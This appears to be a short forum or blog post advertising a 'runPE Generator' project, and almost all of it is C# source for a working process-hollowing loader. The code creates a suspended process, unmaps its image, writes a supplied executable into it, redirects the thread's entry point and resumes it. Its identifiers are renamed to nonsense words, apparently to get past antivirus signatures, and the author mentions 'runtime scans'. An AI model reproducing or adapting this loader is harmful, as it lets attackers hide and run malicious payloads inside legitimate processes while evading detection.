Example Output Code ;
I wrote the "runPE Generator" Project in February of 2022, I can get an offer to revive this project again.
I will send screenshots and runtime scans in the future to inform the readers more.
Stay tuned for now...
C#:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ToGlanch
{
public static class TaterTotsPots
{
[System.Runtime.InteropServices.DllImport("kernel32.dll", EntryPoint = "CreateProcess", CharSet = System.Runtime.InteropServices.CharSet.Unicode)]
[System.Security.SuppressUnmanagedCodeSecurity]
private static extern bool CreateProcess_API(string applicationName, string commandLine, System.IntPtr processAttributes, System.IntPtr threadAttributes, bool inheritHandles, uint creationFlags, System.IntPtr environment, string currentDirectory, ref ToasterOven startupInfo, ref CayennePepper processInformation);
[System.Runtime.InteropServices.DllImport("kernel32.dll", EntryPoint = "GetThreadContext")]
[System.Security.SuppressUnmanagedCodeSecurity]
private static extern bool GetThreadContext_API(System.IntPtr thread, int[] context);
[System.Runtime.InteropServices.DllImport("kernel32.dll", EntryPoint = "Wow64GetThreadContext")]
[System.Security.SuppressUnmanagedCodeSecurity]
private static extern bool Wow64GetThreadContext_API(System.IntPtr thread, int[] context);
[System.Runtime.InteropServices.DllImport("kernel32.dll", EntryPoint = "SetThreadContext")]
[System.Security.SuppressUnmanagedCodeSecurity]
private static extern bool SetThreadContext_API(System.IntPtr thread, int[] context);
[System.Runtime.InteropServices.DllImport("kernel32.dll", EntryPoint = "Wow64SetThreadContext")]
[System.Security.SuppressUnmanagedCodeSecurity]
private static extern bool Wow64SetThreadContext_API(System.IntPtr thread, int[] context);
[System.Runtime.InteropServices.DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")]
[System.Security.SuppressUnmanagedCodeSecurity]
private static extern bool ReadProcessMemory_API(System.IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);
[System.Runtime.InteropServices.DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory")]
[System.Security.SuppressUnmanagedCodeSecurity]
private static extern bool WriteProcessMemory_API(System.IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);
[System.Runtime.InteropServices.DllImport("ntdll.dll", EntryPoint = "UnmapViewOfSection")]
[System.Security.SuppressUnmanagedCodeSecurity]
private static extern int NtUnmapViewOfSection_API(System.IntPtr process, int baseAddress);
[System.Runtime.InteropServices.DllImport("kernel32.dll", EntryPoint = "VirtualAllocEx")]
[System.Security.SuppressUnmanagedCodeSecurity]
private static extern int VirtualAllocEx_API(System.IntPtr handle, int address, int length, int type, int protect);
[System.Runtime.InteropServices.DllImport("kernel32.dll", EntryPoint = "ResumeThread")]
[System.Security.SuppressUnmanagedCodeSecurity]
private static extern int ResumeThread_API(System.IntPtr handle);
[System.Runtime.InteropServices.StructLayout(System.Runtime.InteropServices.LayoutKind.Sequential, Pack = 1)]
private struct CayennePepper
{
public System.IntPtr HasanHandle;
public System.IntPtr TihradHandle;
public uint _processıd;
public uint _threadıd;
} // CayennePepper
[System.Runtime.InteropServices.StructLayout(System.Runtime.InteropServices.LayoutKind.Sequential, Pack = 1)]
private struct ToasterOven
{
public uint Size_;
public string _reversed1s_;
public string _desktop_;
public string _title_;
public int dwX;
public int dwY;
public int dwXSize;
public int dwYSize;
public int dwXCountChars;
public int dwYCountChars;
public int dwFillAttribute;
public int FLAGSS;
public short wShowWindow;
public short cbReserved2;
public System.IntPtr Reserved2;
public System.IntPtr StdInput;
public System.IntPtr StdOutput;
public System.IntPtr StdError;
}
public static bool CharketerBeer(string SpouseBalkans, string GreaseYay, byte[] AllspiceRate, bool GingerbreadHouse)
{
for (int fri = 1; fri <= 5; fri++)
{
if (EggBeaterDeader(SpouseBalkans, GreaseYay, AllspiceRate, GingerbreadHouse))
return true;
}
return false;
} // Run
private static bool EggBeaterDeader(string ChowerGeneral, string ClamChowder, byte[] Inleavened, bool MixingBowl)
{
int ReadWrite = 0;
string QuotedPath = string.Format("\"{0}\"", ChowerGeneral);
ToasterOven SI = new ToasterOven();
CayennePepper PI = new CayennePepper();
SI.FLAGSS = 0;
SI.Size_ = System.Convert.ToUInt32(System.Runtime.InteropServices.Marshal.SizeOf(typeof(ToasterOven)));
try
{
if (!string.IsNullOrEmpty(ClamChowder))
QuotedPath = QuotedPath + " " + ClamChowder;
if (!CreateProcess_API(ChowerGeneral, QuotedPath, System.IntPtr.Zero, System.IntPtr.Zero, false, 4, System.IntPtr.Zero, null, ref SI, ref PI))
throw new System.Exception();
int FileAddress = System.BitConverter.ToInt32(Inleavened, 60);
int ImageBase = System.BitConverter.ToInt32(Inleavened, FileAddress + 52);
int[] Context_ = new int[179];
Context_[0] = 65538;
if (System.IntPtr.Size == 4)
{
if (!GetThreadContext_API(PI.TihradHandle, Context_))
throw new System.Exception();
}
else if (!Wow64GetThreadContext_API(PI.TihradHandle, Context_))
throw new System.Exception();
int Ebx = Context_[41];
int BaseAddress = 0;
if (!ReadProcessMemory_API(PI.HasanHandle, Ebx + 8, ref BaseAddress, 4, ref ReadWrite))
throw new System.Exception();
if (ImageBase == BaseAddress)
{
if (!(NtUnmapViewOfSection_API(PI.HasanHandle, BaseAddress) == 0))
throw new System.Exception();
}
int SizeOfImage = System.BitConverter.ToInt32(Inleavened, FileAddress + 80);
int SizeOfHeaders = System.BitConverter.ToInt32(Inleavened, FileAddress + 84);
bool AllowOverride = false;
int NewImageBase = VirtualAllocEx_API(PI.HasanHandle, ImageBase, SizeOfImage, 12288, 64); // R1
if (!MixingBowl && NewImageBase == 0)
{
AllowOverride = true;
NewImageBase = VirtualAllocEx_API(PI.HasanHandle, 0, SizeOfImage, 12288, 64);
}
if (NewImageBase == 0)
throw new System.Exception();
if (!WriteProcessMemory_API(PI.HasanHandle, NewImageBase, Inleavened, SizeOfHeaders, ref ReadWrite))
throw new System.Exception();
int SectionOffset = FileAddress + 248;
short NumberOfSections = System.BitConverter.ToInt16(Inleavened, FileAddress + 6);
for (int fri = 0; fri <= NumberOfSections - 1; fri++)
{
int VirtualAddress = System.BitConverter.ToInt32(Inleavened, SectionOffset + 12);
int SizeOfRawData = System.BitConverter.ToInt32(Inleavened, SectionOffset + 16);
int PointerToRawData = System.BitConverter.ToInt32(Inleavened, SectionOffset + 20);
if (!(SizeOfRawData == 0))
{
byte[] SectionData = new byte[SizeOfRawData - 1 + 1];
System.Buffer.BlockCopy(Inleavened, PointerToRawData, SectionData, 0, SectionData.Length);
if (!WriteProcessMemory_API(PI.HasanHandle, NewImageBase + VirtualAddress, SectionData, SectionData.Length, ref ReadWrite))
throw new System.Exception();
}
SectionOffset += 40;
}
byte[] PointerData = System.BitConverter.GetBytes(NewImageBase);
if (!WriteProcessMemory_API(PI.HasanHandle, Ebx + 8, PointerData, 4, ref ReadWrite))
throw new System.Exception();
int AddressOfEntryPoint = System.BitConverter.ToInt32(Inleavened, FileAddress + 40);
if (AllowOverride)
NewImageBase = ImageBase;
Context_[44] = NewImageBase + AddressOfEntryPoint;
if (System.IntPtr.Size == 4)
{
if (!SetThreadContext_API(PI.TihradHandle, Context_))
throw new System.Exception();
}
else if (!Wow64SetThreadContext_API(PI.TihradHandle, Context_))
throw new System.Exception();
if (ResumeThread_API(PI.TihradHandle) == -1)
throw new System.Exception();
}
catch
{
System.Diagnostics.Process Pros = System.Diagnostics.Process.GetProcessById(System.Convert.ToInt32(PI._processıd));
if (Pros != null)
Pros.Kill();
return false;
}
return true;
}
}
}
I wrote the "runPE Generator" Project in February of 2022, I can get an offer to revive this project again.
I will send screenshots and runtime scans in the future to inform the readers more.
Stay tuned for now...